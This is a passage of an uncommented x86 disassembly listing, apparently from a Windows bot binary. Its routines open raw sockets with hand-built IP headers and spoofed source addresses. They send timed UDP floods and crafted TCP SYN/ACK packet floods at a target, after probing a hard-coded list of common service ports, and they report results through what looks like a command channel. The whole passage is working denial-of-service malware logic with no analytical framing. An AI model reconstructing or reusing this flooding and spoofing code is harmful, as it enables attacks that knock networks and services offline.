		sub	esp, 214h
		rep movsd
		mov	ecx, eax
		lea	esi, [ebp+var_214]
		mov	edi, esp
		mov	dword ptr [edx+210h], 1
		rep movsd
		call	sub_4130EE
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_4371F8
		push	eax
		call	sub_417D96
		add	esp, 220h
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413B5E
		push	[ebp+var_10]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	0
		call	dword_4230CC	; ExitThread
sub_413078	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4130EE	proc near		; CODE XREF: sub_413078+3Bp

var_254		= byte ptr -254h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_84		= byte ptr  8Ch
arg_104		= byte ptr  10Ch
arg_184		= byte ptr  18Ch
arg_208		= dword	ptr  210h
arg_20C		= dword	ptr  214h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		mov	ebx, 0FFh
		push	edi
		push	ebx
		push	3
		push	2
		call	dword_4C9878	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_41312C
		lea	eax, [ebp+var_254]
		push	offset unk_4373E8
		push	eax
		call	sub_417D96
		pop	ecx
		xor	edi, edi
		pop	ecx
		jmp	loc_4133F2
; ---------------------------------------------------------------------------


loc_41312C:				; CODE XREF: sub_4130EE+22j
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_14], 1
		call	dword_4C97DC	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413158
		call	dword_4C9798	; WSAGetLastError
		push	eax
		push	offset unk_437398
		jmp	short loc_413173
; ---------------------------------------------------------------------------


loc_413158:				; CODE XREF: sub_4130EE+5Aj
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4C9838	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413187
		call	dword_4C9798	; WSAGetLastError
		push	eax
		push	offset unk_437354


loc_413173:				; CODE XREF: sub_4130EE+68j
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	loc_4133F2
; ---------------------------------------------------------------------------


loc_413187:				; CODE XREF: sub_4130EE+77j
		push	edi
		mov	[ebp+var_24], 2
		call	dword_4C97FC	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4231F0	; inet_addr
		mov	esi, dword_4230A8
		mov	[ebp+var_20], eax
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_437328
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+arg_20C], edi
		jnz	short loc_4131F0
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h


loc_4131F0:				; CODE XREF: sub_4130EE+E0j
		mov	[ebp+var_4], edi
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_417C89
		cmp	esi, eax
		pop	ecx
		ja	loc_4133A9
		mov	esi, 41Ch
		jmp	short loc_413224
; ---------------------------------------------------------------------------


loc_41321F:				; CODE XREF: sub_4130EE+2B5j
		mov	ebx, 0FFh


loc_413224:				; CODE XREF: sub_4130EE+12Fj
		cmp	dword_4CCFB0, edi
		jnz	short loc_41327C
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C97A4	; getsockname
		push	ebx
		push	1
		call	sub_415759
		push	eax
		movzx	eax, [ebp+var_2E]
		push	eax
		movzx	eax, [ebp+var_2F]
		push	eax
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_54]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_417D96
		add	esp, 20h
		jmp	short loc_41328C
; ---------------------------------------------------------------------------


loc_41327C:				; CODE XREF: sub_4130EE+13Cj
		lea	eax, [ebp+var_54]
		push	offset dword_4CC990
		push	eax
		call	sub_4183B0
		pop	ecx
		pop	ecx


loc_41328C:				; CODE XREF: sub_4130EE+18Cj
		push	esi
		mov	byte_4CCB90, 45h
		call	dword_4C97FC	; htons
		mov	word_4CCB92, ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	word_4CCB94, 1
		mov	word_4CCB96, di
		mov	byte_4CCB98, 80h
		mov	byte_4CCB99, 11h
		mov	word_4CCB9A, di
		call	dword_4C9838	; inet_addr
		mov	dword_4CCB9C, eax
		mov	eax, [ebp+var_20]
		mov	dword_4CCBA0, eax
		lea	eax, [ebp+arg_84]
		push	eax
		mov	word_4CCBAA, di
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jnz	short loc_413304
		call	sub_417DF2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_413312
; ---------------------------------------------------------------------------


loc_413304:				; CODE XREF: sub_4130EE+204j
		lea	eax, [ebp+arg_84]
		push	eax
		call	sub_417C89
		pop	ecx
		push	eax


loc_413312:				; CODE XREF: sub_4130EE+214j
		call	dword_4C97FC	; htons
		mov	word_4CCBA6, ax
		call	sub_417DF2
		cdq
		mov	ecx, 401h
		push	408h
		idiv	ecx
		mov	word_4CCBA4, dx
		call	dword_4C97FC	; htons
		push	400h
		mov	word_4CCBA8, ax
		call	sub_417DF2
		cdq
		idiv	ebx
		push	edx
		push	offset dword_4CCBAC
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		push	esi
		push	offset byte_4CCB90
		push	[ebp+var_C]
		call	dword_4C985C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_413421
		inc	[ebp+var_4]
		call	dword_4230A8	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_417C89
		cmp	ebx, eax
		pop	ecx
		jbe	loc_41321F


loc_4133A9:				; CODE XREF: sub_4130EE+124j
		push	[ebp+var_C]
		call	dword_4C9890	; closesocket
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+arg_104]
		push	eax
		imul	esi, 41Ch
		call	sub_417C89
		mov	ecx, eax
		mov	eax, esi
		shr	eax, 0Ah
		xor	edx, edx
		div	ecx
		shr	esi, 14h
		push	eax
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_4372C4
		push	eax
		call	sub_417D96
		add	esp, 1Ch


loc_4133F2:				; CODE XREF: sub_4130EE+39j
					; sub_4130EE+94j ...
		cmp	[ebp+arg_20C], edi
		jnz	short loc_41341A
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h


loc_41341A:				; CODE XREF: sub_4130EE+30Aj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413421:				; CODE XREF: sub_4130EE+289j
		push	[ebp+var_4]
		push	esi
		call	dword_4C9798	; WSAGetLastError
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_437238
		push	eax
		call	sub_417D96
		add	esp, 18h
		jmp	short loc_4133F2
sub_4130EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413446	proc near		; DATA XREF: sub_401AC7+5A8Ao

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_417C89
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_417C89
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	dword_4C9838	; inet_addr
		push	eax
		call	sub_4135E0
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_437414
		push	eax
		call	sub_417D96
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4134D8
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_408C5D
		add	esp, 14h


loc_4134D8:				; CODE XREF: sub_413446+70j
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413B5E
		push	[ebp+var_10]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_413446	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134F7	proc near		; CODE XREF: sub_4135E0+194p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_413520
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4231F8	; connect
		jmp	loc_4135DC
; ---------------------------------------------------------------------------


loc_413520:				; CODE XREF: sub_4134F7+13j
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	dword_4231DC	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4C97A8	; connect
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	dword_4C97E4	; select
		test	eax, eax
		jnz	short loc_413584
		or	eax, 0FFFFFFFFh
		jmp	short loc_4135DC
; ---------------------------------------------------------------------------


loc_413584:				; CODE XREF: sub_4134F7+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_41358F


loc_41358B:				; CODE XREF: sub_4134F7+B8j
					; sub_4134F7+DCj
		mov	eax, edi
		jmp	short loc_4135DC
; ---------------------------------------------------------------------------


loc_41358F:				; CODE XREF: sub_4134F7+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_42226E	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_4135B1
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_42226E	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_41358B


loc_4135B1:				; CODE XREF: sub_4134F7+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	dword_4231C4	; getsockopt
		cmp	eax, edi
		jz	short loc_41358B
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax


loc_4135DC:				; CODE XREF: sub_4134F7+24j
					; sub_4134F7+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_4134F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4135E0	proc near		; CODE XREF: sub_413446+51p

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_9C		= word ptr -9Ch
var_9A		= word ptr -9Ah
var_98		= dword	ptr -98h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		push	1
		pop	eax
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_14], eax
		call	dword_4231EC	; WSASocketA
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	dword_4CD020, eax
		call	dword_4C97DC	; setsockopt
		mov	esi, dword_4230A8
		call	esi	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+var_100]
		pop	ecx
		mov	[ebp+var_10C], ebx
		mov	[ebp+var_7C], ecx
		mov	[ebp+var_108], ebx
		mov	[ebp+var_104], ebx
		mov	[ebp+var_8C], 401h
		mov	[ebp+var_88], 15h
		mov	[ebp+var_84], 16h
		mov	[ebp+var_80], 17h
		mov	[ebp+var_78], 35h
		mov	[ebp+var_74], 50h
		mov	[ebp+var_70], 51h
		mov	[ebp+var_6C], 58h
		mov	[ebp+var_68], 6Eh
		mov	[ebp+var_64], 71h
		mov	[ebp+var_60], 77h
		mov	[ebp+var_5C], 87h
		mov	[ebp+var_58], 89h
		mov	[ebp+var_54], 8Bh
		mov	[ebp+var_50], 8Fh
		mov	[ebp+var_4C], 1BBh
		mov	[ebp+var_48], 1BDh
		mov	[ebp+var_44], 400h
		mov	[ebp+var_40], 599h
		mov	[ebp+var_3C], 5DCh
		mov	[ebp+var_38], 6B8h
		mov	[ebp+var_34], 0CEAh
		mov	[ebp+var_30], 0D3Dh
		mov	[ebp+var_2C], 1388h
		mov	[ebp+var_28], 1A0Bh
		mov	[ebp+var_24], 1F40h
		mov	[ebp+var_20], 1F90h
		rep stosd
		mov	[ebp+var_10], ebx
		mov	[ebp+var_1C], 3
		mov	[ebp+var_18], 0BB8h
		mov	[ebp+var_4], ebx


loc_413726:				; CODE XREF: sub_4135E0+1C1j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_9C], 2
		mov	[ebp+var_98], eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+eax+var_8C]
		mov	ax, word ptr [ebp+eax+var_8C]
		push	eax
		call	dword_4C97FC	; htons
		push	ebx
		push	1
		push	2
		mov	[ebp+var_9A], ax
		call	dword_4C9878	; socket
		lea	ecx, [ebp+var_1C]
		mov	[ebp+var_C], eax
		push	ecx
		lea	ecx, [ebp+var_9C]
		push	10h
		push	ecx
		push	eax
		call	sub_4134F7
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	dword_4C9890	; closesocket
		cmp	[ebp+var_8], ebx
		jnz	short loc_413799
		mov	ecx, [ebp+var_4]
		mov	eax, [edi]
		mov	[ebp+ecx+var_10C], eax


loc_413799:				; CODE XREF: sub_4135E0+1ABj
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 70h
		jl	short loc_413726
		mov	edi, offset dword_4CD024
		push	offset asc_42EF5C ; " "
		push	edi
		call	sub_417D96
		pop	ecx
		pop	ecx
		call	esi	; GetTickCount
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], eax


loc_4137C6:				; CODE XREF: sub_4135E0+23Cj
		call	esi	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_41381E
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, ebx
		jz	short loc_4137F7
		push	eax
		push	edi
		push	offset aSD	; "%s%d	"
		push	edi
		mov	[ebp+var_10], eax
		call	sub_417D96
		add	esp, 10h
		jmp	short loc_413811
; ---------------------------------------------------------------------------


loc_4137F7:				; CODE XREF: sub_4135E0+200j
		push	0FFFFh
		push	ebx
		call	sub_415759
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4C97FC	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax


loc_413811:				; CODE XREF: sub_4135E0+215j
		inc	[ebp+var_4]
		add	[ebp+var_8], 4
		cmp	[ebp+var_4], 1Ch
		jl	short loc_4137C6


loc_41381E:				; CODE XREF: sub_4135E0+1F7j
					; sub_4135E0+477j
		push	28h
		push	ebx
		push	offset byte_4CCFC0
		call	sub_417AA0
		mov	esi, 0FFFFh
		mov	byte_4CCFC0, 45h
		push	esi
		push	400h
		mov	byte_4CCFC9, 6
		mov	byte_4CCFC1, 8
		call	sub_415759
		add	esp, 14h
		push	eax
		call	dword_4C97FC	; htons
		push	28h
		mov	word_4CCFC4, ax
		call	dword_4C97FC	; htons
		or	byte_4CCFC8, 0FFh
		cmp	dword_4CCFB0, ebx
		mov	word_4CCFC2, ax
		mov	word_4CCFC6, bx
		jnz	short loc_41389E
		push	0FFFEh
		push	1
		call	sub_415759
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		shl	eax, 10h
		and	ecx, esi
		or	eax, ecx
		jmp	short loc_4138A9
; ---------------------------------------------------------------------------


loc_41389E:				; CODE XREF: sub_4135E0+2A2j
		push	offset dword_4CC990
		call	dword_4C9838	; inet_addr


loc_4138A9:				; CODE XREF: sub_4135E0+2BCj
		mov	dword_4CCFCC, eax
		mov	eax, [ebp+arg_0]
		push	4000h
		mov	dword_4CCFD0, eax
		mov	byte_4CCFE1, bl
		call	dword_4C97FC	; htons
		push	esi
		push	ebx
		mov	word_4CCFE2, ax
		call	sub_415759
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_415759
		add	esp, 10h
		add	edi, eax
		push	edi
		call	dword_4C97F8	; htonl
		mov	dword_4CCFD8, eax
		mov	al, byte_4CCFE0
		mov	edi, [ebp+arg_0]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	byte_4CCFE0, al
		mov	ax, word ptr [ebp+var_10]
		mov	dword_4CCFDC, ebx
		mov	word_4CCFE6, bx
		mov	word_4CCFD6, ax
		mov	dword_4CCFFC, edi
		mov	byte_4CD000, bl
		mov	byte_4CD001, 6
		call	dword_4C97FC	; htons
		mov	word_4CD002, ax
		mov	ax, word_4CCFD6
		mov	word_4CCFE8, 2
		mov	dword_4CCFEC, edi
		mov	word_4CCFEA, ax
		mov	[ebp+var_4], ebx
		jmp	short loc_41395F
; ---------------------------------------------------------------------------


loc_41395A:				; CODE XREF: sub_4135E0+451j
		mov	esi, 0FFFFh


loc_41395F:				; CODE XREF: sub_4135E0+378j
		cmp	[ebp+var_4], ebx
		jnz	short loc_413993
		push	esi
		push	ebx
		call	sub_415759
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4C97FC	; htons
		mov	word_4CCFD4, ax
		mov	eax, dword_4CCFCC
		mov	dword_4CCFF8, eax
		mov	byte_4CCFE1, 2
		mov	dword_4CCFDC, ebx
		jmp	short loc_4139B2
; ---------------------------------------------------------------------------


loc_413993:				; CODE XREF: sub_4135E0+382j
		push	esi
		push	ebx
		mov	byte_4CCFE1, 10h
		call	sub_415759
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4C97FC	; htons
		movzx	eax, ax
		mov	dword_4CCFDC, eax


loc_4139B2:				; CODE XREF: sub_4135E0+3B1j
		inc	word_4CCFC4
		inc	dword_4CCFD8
		mov	ax, word_4CCFD6
		push	5
		pop	ecx
		mov	esi, offset word_4CCFD4
		mov	edi, offset dword_4CD004
		mov	word_4CCFCA, bx
		mov	word_4CCFE4, bx
		push	14h
		rep movsd
		mov	esi, offset byte_4CCFC0
		mov	word_4CCFEA, ax
		push	esi
		call	sub_409D76
		push	20h
		push	offset dword_4CCFF8
		mov	word_4CCFCA, ax
		call	sub_409D76
		add	esp, 10h
		mov	word_4CCFE4, ax
		push	10h
		push	offset word_4CCFE8
		push	ebx
		push	28h
		push	esi
		push	dword_4CD020
		call	dword_4C985C	; sendto
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3FFh
		jl	loc_41395A
		call	dword_4230A8	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_413A5C
		push	[ebp+arg_8]
		call	dword_423078	; Sleep
		jmp	loc_41381E
; ---------------------------------------------------------------------------


loc_413A5C:				; CODE XREF: sub_4135E0+46Cj
		pop	edi
		pop	esi
		mov	eax, offset dword_4CD024
		pop	ebx
		leave
		retn
sub_4135E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413A66	proc near		; CODE XREF: sub_401AC7+67D6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43B9C0
		mov	edi, 0B8h


loc_413A7A:				; CODE XREF: sub_413A66+33j
		cmp	byte ptr [esi],	0
		jz	short loc_413A9D
		push	[ebp+arg_0]
		push	esi
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413A9D
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43C540
		jl	short loc_413A7A
		jmp	short loc_413ADF
; ---------------------------------------------------------------------------


loc_413A9D:				; CODE XREF: sub_413A66+17j
					; sub_413A66+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43B9C0[esi]
		push	ebx
		call	sub_417AA0
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_417B00
		push	9Fh
		lea	eax, dword_43B9D8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_417B00
		add	esp, 24h
		inc	dword_4276A8
		pop	ebx


loc_413ADF:				; CODE XREF: sub_413A66+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_413A66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413AE6	proc near		; CODE XREF: sub_401AC7+2432p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_43745C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43B9C0


loc_413B10:				; CODE XREF: sub_413AE6+72j
		cmp	byte ptr [esi],	0
		jz	short loc_413B4B
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_437448
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_417E90
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 2Ch


loc_413B4B:				; CODE XREF: sub_413AE6+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43C540
		jl	short loc_413B10
		pop	edi
		pop	esi
		leave
		retn
sub_413AE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B5E	proc near		; CODE XREF: sub_401221+381p
					; sub_401221+402p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_423134	; GetLocalTime
		mov	ebx, offset dword_4D1424
		mov	edi, 80h
		mov	esi, offset dword_4CD424


loc_413B80:				; CODE XREF: sub_413B5E+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_413B97
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_417B00
		add	esp, 0Ch


loc_413B97:				; CODE XREF: sub_413B5E+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_413B80
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_417E90
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413BD2	proc near		; CODE XREF: sub_4017E7+F7p
					; sub_401AC7:loc_40206Ep ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_418690
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_413B5E
		add	esp, 14h
		leave
		retn
sub_413BD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_413BFE	proc near		; CODE XREF: sub_401AC7+232Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CD424
		xor	ecx, ecx


loc_413C05:				; CODE XREF: sub_413BFE+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D1424
		jl	short loc_413C05
		cmp	[esp+arg_C], ecx
		jnz	short loc_413C33
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_4374A8
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_408C5D
		add	esp, 14h


loc_413C33:				; CODE XREF: sub_413BFE+19j
		push	offset dword_437494
		call	sub_413B5E
		pop	ecx
		retn
sub_413BFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C3F	proc near		; DATA XREF: sub_401AC7+23DCo

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_413C92
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_4374D8
		push	eax
		push	[ebp+var_11C]
		call	sub_408C5D
		add	esp, 14h


loc_413C92:				; CODE XREF: sub_413C3F+33j
		cmp	[ebp+var_98], 0
		jz	short loc_413CB2
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_417C89
		test	eax, eax
		pop	ecx
